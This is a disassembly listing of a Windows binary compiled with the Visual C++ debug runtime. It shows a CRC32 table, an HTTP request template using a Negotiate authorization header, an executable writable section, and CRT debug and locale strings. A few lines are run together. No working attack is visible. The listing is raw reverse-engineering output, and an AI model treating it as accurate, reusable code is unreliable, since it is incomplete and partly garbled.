mov ecx, [ebp-10h]
call sub_437DA0
retn
; =============== S U B R O U T I N E =======================================
SEH_437480 proc near ; DATA XREF: sub_437480+5o
mov eax, offset dword_43B350
jmp sub_41F580
SEH_437480 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-14h]
call sub_437DA0
retn
; =============== S U B R O U T I N E =======================================
SEH_437540 proc near ; DATA XREF: sub_437540+5o
mov eax, offset dword_43B378
jmp sub_41F580
SEH_437540 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-38h]
call sub_40D482
retn
; =============== S U B R O U T I N E =======================================
SEH_437660 proc near ; DATA XREF: sub_437660+5o
mov eax, offset dword_43B3E0
jmp sub_41F580
SEH_437660 endp
; ---------------------------------------------------------------------------
align 1000h
seg000 ends
; Section 2. (virtual address 00039000)
; Virtual size : 00003000 ( 12288.)
; Section size in file : 00003000 ( 12288.)
; Offset to raw data for section: 00039000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg001 segment para public 'CODE' use32
assume cs:seg001
;org 439000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 0
dd 47F514CAh, 0
dd 2, 4Bh, 0
dd 54E00h
dword_43901C dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D18E+68o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dbl_439458 dq 1.388888888888889e-2 ; DATA XREF: sub_40CFCB+2Fr
dbl_439460 dq 1.666666666666667e-1 ; DATA XREF: sub_40CFCB+15r
dbl_439468 dq 1.333333333333333 ; DATA XREF: sub_40D017+70r
dword_439470 dd 0FFFFFFFFh ; sub_40D4B2r ...
dword_439474 dd 2 dup(0) dd 3F500000h
dbl_439480 dq -1.52587890625e-4 ; DATA XREF: sub_417120+3E5r
dbl_439488 dq 3.0517578125e-4 ; DATA XREF: sub_417120+3C5r
dbl_439490 dq -3.0517578125e-4 ; DATA XREF: sub_417120+342r
; sub_417120+3A7r
dbl_439498 dq 1.52587890625e-4 ; DATA XREF: sub_417120+271r
dbl_4394A0 dq -1.739501953125e-3 ; DATA XREF: sub_417120+24Br
; sub_417120+2D5r ...
dbl_4394A8 dq 3.11279296875e-3 ; DATA XREF: sub_417120+E1r
dbl_4394B0 dq 3.0517578125e-5 ; DATA XREF: sub_417120+AEr
; sub_417120+138r ...
dbl_4394B8 dq 6.103515625e-5 ; DATA XREF: sub_417120+93r
; sub_417120+308r
dbl_4394C0 dq 2.288818359375e-3 ; DATA XREF: sub_417120+21r
dbl_4394C8 dq -3.0517578125e-5 ; DATA XREF: sub_41801E+2Br
flt_4394D0 dd 9.765625e-4 ; DATA XREF: sub_419E6F+1AEr
flt_4394D4 dd 8.0 ; DATA XREF: sub_419E6F+1A8r
flt_4394D8 dd 0.0 ; DATA XREF: sub_419E6F+16Fr
flt_4394DC dd 1.0e-3 ; DATA XREF: sub_419E6F+166r
dword_4394E0 dd 6F6C6366h, 632E6573h, 0 ; sub_41AD80+25o
dword_4394EC dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; sub_4201E0+Do ...
dword_4394FC dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h
; DATA XREF: sub_41AD80+1Co
; sub_41DEE0+45o ...
dd 6572h, 545243h, 6D726F4Eh, 6C61h
aFree db 'Free',0 ; DATA XREF: seg002:off_44FA50o
align 4
aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0
; DATA XREF: sub_41AF30:loc_41B09Ao
; sub_41B330:loc_41B4B0o
align 10h
aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_41AF30+11Bo
aS_25 db '%s',0 ; DATA XREF: sub_41AF30+BCo
; sub_41AF30+16Fo ...
align 4
aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0
; DATA XREF: sub_41AF30:loc_41AFE7o
align 4
aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_41AF30+94o
align 4
aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_41AF30+31o
; sub_41B330+77o ...
align 10h
a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_41AF30+25o
; sub_41B330+6Bo ...
align 4
a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_41B330+499o
align 10h
a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_41B330+445o
align 4
aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
; DATA XREF: sub_41B330:loc_41B716o
align 10h
a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
; DATA XREF: sub_41B330+277o
align 4
aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
; DATA XREF: sub_41B330:loc_41B541o
db 'REQ',0
align 4
a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_41B330+1B6o
; sub_41B920+A8o ...
align 4
aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0
; DATA XREF: sub_41B330+136o
align 4
aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0
; DATA XREF: sub_41B330:loc_41B42Fo
aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: sub_41B330+DCo
a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41B920+35Do
align 4
a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_41B920+307o
align 4
aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41B920+29Co
; sub_41BD30+112o
align 4
aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
; DATA XREF: sub_41B920:loc_41BB44o
align 4
aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_41B920+1E5o
; sub_41C000+249o
align 10h
aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_41B920+17Fo
; sub_41C000+1ECo
align 4
a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41B920+10Ao
; sub_41BD30+C1o ...
align 4
aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41B920:loc_41B98Do
align 10h
aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
; DATA XREF: sub_41BF70+54o
align 4
aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0
; DATA XREF: sub_41C000+31Eo
align 4
aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41C000+2EBo
aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
; DATA XREF: sub_41C000+2A2o
align 4
aDamaged db 'DAMAGED',0 ; DATA XREF: sub_41C000:loc_41C1B8o
a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0
; DATA XREF: sub_41C000:loc_41C112o
align 4
a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0
; DATA XREF: sub_41C000:loc_41C0EAo
align 4
a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0
; DATA XREF: sub_41C000:loc_41C0C2o
align 10h
a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0
; DATA XREF: sub_41C000:loc_41C09Ao
align 4
a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
; DATA XREF: sub_41C000:loc_41C06Fo
aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41C600+11Bo
align 4
a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
; DATA XREF: sub_41C600:loc_41C60Fo
a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0
; DATA XREF: seg000:loc_41C792o
aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_41C8A0:loc_41CB2Co
align 4
aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_41C8A0+250o
align 4
aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0
; DATA XREF: sub_41C8A0+1F3o
aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: sub_41C8A0+188o
aLd db '{%ld} ',0 ; DATA XREF: sub_41C8A0+139o
align 4
aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_41C8A0+111o
align 4
aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_41C8A0+E0o
aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_41C8A0:loc_41C8BAo
aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_41CB60+ECo
a_2x db '%.2X ',0 ; DATA XREF: sub_41CB60+BFo
align 4
aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: seg000:loc_41CCB4o
aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: seg000:0041CD9Do
align 10h
aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: seg000:0041CD75o
align 4
aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: seg000:0041CD4Bo
align 4
aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41CFE0+95o
align 4
aModeNull db 'mode != NULL',0 ; DATA XREF: sub_41CFE0+67o
; sub_424520+4Fo
align 4
aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41CFE0+3Do
align 4
aFopen_c db 'fopen.c',0 ; DATA XREF: sub_41CFE0+18o
; sub_41CFE0+46o ...
aFileNull db 'file != NULL',0 ; DATA XREF: sub_41CFE0+Fo
align 4
aFormatNull db 'format != NULL',0 ; DATA XREF: sub_41D160+3Fo
; sub_41D260+45o ...
align 4
aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_41D160+1Eo
; sub_41D160+48o
align 10h
aStringNull db 'string != NULL',0 ; DATA XREF: sub_41D160+15o
; sub_41D260+1Bo ...
align 10h
aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_41D260+24o
; sub_41D260+4Eo ...
align 4
aFgets_c db 'fgets.c',0 ; DATA XREF: sub_41DEE0+24o
; sub_41DEE0+4Eo
aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_41E440+1Eo
; sub_41E440+48o
align 10h
aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_41EB80+24o
; sub_41EB80+4Eo
align 4
a_file_c db '_file.c',0 ; DATA XREF: sub_41EF20+31o
; sub_41EF20+65o
align 8
dbl_439CE8 dq 1.0 ; DATA XREF: sub_41F150+99r
; sub_41F370+99r ...
dword_439CF0 dd 64676264h, 632E6C65h, 7070hdword_439CFC dd 78656E6Fh, 632E7469h, 0 ; sub_41FE90+8o
dword_439D08 dd 7473626Dh, 7363776Fh, 632Ehdword_439D14 dd 3D212073h, 4C554E20h, 4Chdword_439D20 dd 65657366h, 632E6Bh ; sub_420250+19o
dword_439D28 dd 0FFFFFFFFh, 420C62h, 420C7Dh, 65737341h, 6F697472h
; DATA XREF: seg000:00420B35o
; seg002:0044FD5Co
dd 6146206Eh, 64656C69h, 0
aError db 'Error',0 ; DATA XREF: seg002:0044FD58o
align 10h
aWarning db 'Warning',0 ; DATA XREF: seg002:off_44FD54o
aSDS db '%s(%d) : %s',0 ; DATA XREF: seg000:0042100Fo
asc_439D64: ; DATA XREF: seg000:loc_420FE6o
dw 0Ah
unicode 0, <>,0
asc_439D68: ; DATA XREF: seg000:00420FD2o
dw 0Dh
unicode 0, <>,0
aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: seg000:loc_420F85o
align 10h
aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: seg000:loc_420F79o
align 4
a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0
; DATA XREF: seg000:00420F59o
; seg000:0042102Co ...
align 10h
aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
; DATA XREF: seg000:00420EF6o
align 4
aWsprintfa db 'wsprintfA',0 ; DATA XREF: seg000:00420EC6o
align 10h
aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: seg000:00420EACo
; sub_42D5C0+16o
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_4211A0+2C2o
align 10h
aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_4211A0+28Co
db 0Ah
db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
db 0Ah
db '(Press Retry to debug the application)',0
align 4
aModule db 0Ah ; DATA XREF: sub_4211A0+221o
db 'Module: ',0
align 10h
aFile_2 db 0Ah ; DATA XREF: sub_4211A0+1E1o
db 'File: ',0
aLine db 0Ah ; DATA XREF: sub_4211A0+1AAo
db 'Line: ',0
asc_439EA0 db 0Ah ; DATA XREF: sub_4211A0+173o
; sub_42CB30+171o
db 0Ah,0
align 4
aExpression db 'Expression: ',0 ; DATA XREF: sub_4211A0+153o
align 4
dword_439EB4 dd 0 ; sub_4211A0:loc_4212D9o ...
aForInformation db 0Ah ; DATA XREF: sub_4211A0+10Eo
db 0Ah
db 'For information on how your program can cause an assertion',0Ah
db 'failure, see the Visual C++ documentation on asserts.',0
align 4
a___ db '...',0 ; DATA XREF: sub_4211A0+9Co
; sub_4211A0+F4o ...
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4211A0+56o
; sub_42CB30+EDo
align 4
aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_4211A0+1Fo
align 4
aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_4211A0+13o
align 4
a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_4215E0+15o
align 4
aMlock_c db 'mlock.c',0 ; DATA XREF: sub_421A80+16o
a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_423E50+18o
align 4
a_open_c db '_open.c',0 ; DATA XREF: sub_424520+2Eo
; sub_424520+58o ...
aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_424520+25o
align 4
aStream_c db 'stream.c',0 ; DATA XREF: sub_4248B0+C1o
align 4
aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
; DATA XREF: sub_424A30+162o
align 4
a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_424A30+18o
; sub_424A30+16Eo
align 10h
byte_43A000 db 6 ; DATA XREF: sub_424CB0+8Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: seg002:off_45003Co
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: seg002:off_450038o
align 4
aOutput_c db 'output.c',0 ; DATA XREF: sub_424CB0+122o
align 10h
aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_424CB0+116o
align 10h
aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_425B50+23o
; sub_425C30+29o
align 4
a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_4269E0+18o
; sub_4269E0+B2o ...
align 4
aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_426B40+13o
align 10h
aInput_c db 'input.c',0 ; DATA XREF: sub_426BE0+1Eo
; sub_426BE0+4Bo
aIoinit_c db 'ioinit.c',0 ; DATA XREF: seg000:004281DBo
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 10h
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 10h
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 10h
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 10h
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 4
aLog_0 db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: seg002:off_4502E4o
dbl_43A188 dq 0.0 ; DATA XREF: sub_428DD0+D7r
; sub_428DD0+11Ar ...
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_429720+1Ao
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_429720+6o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_429A00:loc_429A78o
align 10h
dword_43A1C0 dd 0FFFFFFFFh, 42A4A9h, 42A4B6h, 0dword_43A1D0 dd 0FFFFFFFFh, 0 dd offset sub_42A6DD
align 10h
dd offset loc_42A69E
dd offset loc_42A6AB
dword_43A1E8 dd 0FFFFFFFFh, 42A9FCh, 42AA02h, 0dword_43A1F8 dd 0FFFFFFFFh, 42AA7Eh, 42AA8Dh, 0dword_43A208 dd 0FFFFFFFFh, 0 dd offset sub_42ABBE
align 8
dd offset loc_42ABA0
dd offset loc_42ABA6
dword_43A220 dd 0FFFFFFFFh, 0 dd offset sub_42AC6A
align 10h
dd offset loc_42AC4C
dd offset loc_42AC52
aLc_time db 'LC_TIME',0 ; DATA XREF: seg002:0045056Co
aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: seg002:00450560o
align 4
aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: seg002:00450554o
aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: seg002:00450548o
align 4
aLc_collate db 'LC_COLLATE',0 ; DATA XREF: seg002:0045053Co
align 10h
aLc_all db 'LC_ALL',0 ; DATA XREF: seg002:off_450530o
align 4
asc_43A278: ; DATA XREF: seg000:loc_42AE43o
; sub_42B220+83o
unicode 0, <;>,0
asc_43A27C db '=;',0 ; DATA XREF: seg000:loc_42AD71o
align 10h
aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_42B080+3Eo
; sub_42B220+1Bo
align 4
asc_43A28C: ; DATA XREF: sub_42B220+5Bo
unicode 0, <=>,0
a___0 db '_.,',0 ; DATA XREF: sub_42B510:loc_42B582o
a__2: ; DATA XREF: sub_42B670+50o
; sub_431120:loc_43131Bo
unicode 0, <.>,0
a__3: ; DATA XREF: sub_42B670+25o
unicode 0, <_>,0
aFtell_c db 'ftell.c',0 ; DATA XREF: seg000:0042B846o
; sub_42B8A0+18o
dword_43A2A4 dd 0 ; seg000:0042E098o ...
dword_43A2A8 dd 2 dup(0) ; seg000:0042E075o ...
dword_43A2B0 dd 0FFFFFFFFh, 42BC86h, 42BC8Ch, 0FFFFFFFFh, 42BD7Ch, 42BD82h
; DATA XREF: seg000:0042BB45o
dword_43A2C8 dd 65647473h, 2E70766Eh, 63h ; sub_42C180+D0o
dword_43A2D4 dd 61647473h, 2E766772h, 63hdword_43A2E0 dd 6E655F61h, 632E76h, 746E7572h, 20656D69h, 6F727265h
; DATA XREF: sub_42C7E0+E8o
; sub_42C7E0+1C6o
dd 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h, 0Ah
dd 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 10h
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_450604o
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42CB30+1A4o
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_42CB30:loc_42CC7Ao
db 0Ah
db 'Program: ',0
align 4
aWinsig_c db 'winsig.c',0 ; DATA XREF: seg000:0042D171o
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42D5C0+5Fo
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42D5C0:loc_42D60Bo
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42D5C0+2Ao
aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_42D680+138o
align 10h
dword_43A600 dd 0FFFFFFFFh, 42E184h, 42E18Ahdword_43A60C dd 7465675Fh, 2E667562h, 63h ; sub_42E200+48o
dword_43A618 dd 6F74626Dh, 632E6377h, 0aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_42EA50+18o
align 4
aUngetc_c db 'ungetc.c',0 ; DATA XREF: seg000:0042EBE6o
; sub_42EC40+16o
align 4
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTzset_c db 'tzset.c',0 ; DATA XREF: seg000:0042EFB1o
aTz db 'TZ',0 ; DATA XREF: seg000:0042EE15o
align 10h
aInittime_c db 'inittime.c',0 ; DATA XREF: sub_4307A0+13o
align 4
aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_431120+1CFo
; sub_431120+215o ...
align 4
aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_431450+13o
align 4
aInitctyp_c db 'initctyp.c',0 ; DATA XREF: seg000:00431902o
; seg000:0043191Bo ...
align 10h
aParaguay db 'Paraguay',0
align 4
aUruguay db 'Uruguay',0
aChile db 'Chile',0 ; DATA XREF: seg002:00450C14o
align 4
aEcuador db 'Ecuador',0 ; DATA XREF: seg002:00450BE8o
aArgentina db 'Argentina',0
align 10h
aPeru db 'Peru',0
align 4
aColombia db 'Colombia',0 ; DATA XREF: seg002:00450B64o
align 4
aVenezuela db 'Venezuela',0
align 10h
aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: seg002:00450B0Co
align 4
aSouthAfrica db 'South Africa',0
align 4
aPanama db 'Panama',0 ; DATA XREF: seg002:00450AB4o
align 4
aLuxembourg db 'Luxembourg',0 ; DATA XREF: seg002:00450A88o
align 4
aCostaRica db 'Costa Rica',0 ; DATA XREF: seg002:00450A5Co
align 4
aSwitzerland db 'Switzerland',0
aGuatemala db 'Guatemala',0 ; DATA XREF: seg002:00450A04o
align 4
aCanada db 'Canada',0 ; DATA XREF: seg002:004509D8o
align 4
aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: seg002:004509A4o
align 4
aAustralia db 'Australia',0 ; DATA XREF: seg002:00450980o
align 4
aEnglish db 'English',0 ; DATA XREF: seg002:00450978o
; seg002:00450AD8o
